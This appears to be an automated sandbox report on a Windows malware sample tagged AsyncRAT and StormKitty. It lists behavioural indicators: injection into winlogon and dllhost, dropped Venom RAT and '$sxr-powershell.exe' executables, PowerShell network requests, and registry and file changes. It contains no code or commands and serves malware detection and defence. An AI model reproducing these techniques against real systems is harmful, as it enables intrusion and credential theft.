Malware Analysis Report

2025-01-03 06:39

Sample ID 230810-lzmsfsbg47
Target image_2023-08-10_105756834.png
SHA256 d2da54f9742b03358bec6ccee18c25171db0a2fce58063ae65d05fbd400a4026
Tags
asyncrat stormkitty default persistence rat stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d2da54f9742b03358bec6ccee18c25171db0a2fce58063ae65d05fbd400a4026

Threat Level: Known bad

The file image_2023-08-10_105756834.png was found to be: Known bad.

Malicious Activity Summary

asyncrat stormkitty default persistence rat stealer

AsyncRat

StormKitty payload

Suspicious use of NtCreateUserProcessOtherParentProcess

StormKitty

Async RAT payload

Blocklisted process makes network request

Loads dropped DLL

Registers COM server for autorun

Executes dropped EXE

Enumerates connected drives

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Drops file in Windows directory

Drops file in Program Files directory

Enumerates physical storage devices

Program crash

Modifies system certificate store

Modifies registry class

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of FindShellTrayWindow

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

NTFS ADS

Suspicious behavior: EnumeratesProcesses

Modifies data under HKEY_USERS

Suspicious use of SendNotifyMessage

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-08-10 09:58

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-08-10 09:58

Reported

2023-08-10 10:28

Platform

win10v2004-20230703-en

Max time kernel

1054s

Max time network

1263s

Command Line

winlogon.exe

Signatures

AsyncRat

rat asyncrat

StormKitty

stealer stormkitty

StormKitty payload

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 7424 created 612 N/A C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Stub\ClientFix.bat.exe C:\Windows\system32\winlogon.exe
PID 7200 created 612 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\winlogon.exe

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Users\Admin\Desktop\VenomRAT v6.0.3 (SOURCE)\VenomRAT v6.0.3 (SOURCE).exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Venom RAT + HVNC.exe N/A
N/A N/A C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Stub\ClientFix.bat.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A

Registers COM server for autorun

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files\\7-Zip\\7-zip.dll" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\system32\msiexec.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\A: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\V: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\Y: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\Y: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\S: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\L: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\V: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\B: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\H: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\L: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\Q: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\Z: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\O: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\P: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\W: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\X: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\R: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\W: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\E: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\G: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\I: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\J: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\K: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\T: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\B: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\G: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\M: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\N: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\A: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\E: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\I: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\P: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Q: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\R: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\U: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\Z: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\J: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\K: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\N: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\O: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\T: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\M: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\H: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\S: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\U: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\X: C:\Windows\system32\msiexec.exe N/A

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 7424 set thread context of 10096 N/A C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Stub\ClientFix.bat.exe C:\Windows\System32\dllhost.exe
PID 7200 set thread context of 8300 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\dllhost.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\7-Zip\Lang\pt.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\bg.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\it.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\pl.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ps.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\en.ttt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ba.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ug.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\7z.dll C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\fy.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ta.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\yo.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\eu.txt C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\7-Zip\7-zip.chm C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\7-Zip\Lang\co.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ka.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\mng2.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\et.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ko.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\descript.ion C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\da.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ga.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\gu.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\sv.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\cy.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\hr.txt C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\7-Zip\Lang\fa.txt C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\7-Zip\Lang\he.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\fy.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\is.txt C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\7-Zip\7-zip32.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\7-Zip\Lang\hu.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\be.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\gl.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\zh-cn.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\pa-in.txt C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\7-Zip\Lang\is.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\lv.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ast.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\az.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ro.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\mk.txt C:\Windows\System32\msiexec.exe N/A
File created C:\Program Files\7-Zip\7zCon.sfx C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\sa.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\lv.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\de.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\hu.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ko.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\7z.sfx C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\be.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\he.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\fur.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\fa.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ms.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\sr-spl.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\th.txt C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files\7-Zip\Lang\pl.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\id.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\lij.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\lt.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\kaa.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\kk.txt C:\Windows\System32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\bn.txt C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\pl.txt C:\Windows\system32\msiexec.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Installer\SourceHash{23170F69-40C1-2702-2201-000001000000} C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIFE4B.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\$sxr-powershell.exe C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Stub\ClientFix.bat.exe N/A
File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\ C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\inprogressinstallinfo.ipi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\$sxr-powershell.exe C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Stub\ClientFix.bat.exe N/A
File created C:\Windows\Installer\e63e62f.msi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\e63e62f.msi C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\e63e657.msi C:\Windows\system32\msiexec.exe N/A

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe
N/A N/A C:\Windows\system32\WerFault.exe

Modifies data under HKEY_USERS

Description Indicator Process Target
Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\1E\52C64B7E C:\Windows\system32\msiexec.exe N/A
Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1f C:\Windows\system32\msiexec.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\96F071321C0420722210000010000000\Complete C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\AuthorizedLUAApp = "0" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\SourceList\Net\1 = "C:\\Users\\Admin\\Downloads\\" C:\Windows\system32\msiexec.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\Clients = 3a0000000000 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files\\7-Zip\\7-zip.dll" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\Folder\shellex\ContextMenuHandlers\7-Zip C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\Drive\shellex\DragDropHandlers\7-Zip C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\SourceList\Media C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\SourceList\Media\1 = ";" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1420546310-613437930-2990200354-1000_Classes\Local Settings C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\PackageCode = "96F071321C0420722210000020000000" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\InstanceType = "0" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\96F071321C0420722210000010000000\LanguageFiles = "Complete" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\Language = "1033" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\96F071321C0420720000000040000000 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\*\shellex\ContextMenuHandlers\7-Zip C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\96F071321C0420722210000010000000\Program = "Complete" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\ProductName = "7-Zip 22.01 (x64 edition)" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\Directory\shellex\ContextMenuHandlers\7-Zip C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\Assignment = "1" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\AdvertiseFlags = "388" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\DeploymentFlags = "3" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\SourceList C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\SourceList\PackageName = "7z2201-x64.msi" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1420546310-613437930-2990200354-1000\{915EDC78-6005-4871-853E-6D79E82768ED} C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\Directory\shellex\DragDropHandlers\7-Zip C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\Downloads\\" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\96F071321C0420722210000010000000 C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\Version = "369164288" C:\Windows\system32\msiexec.exe N/A
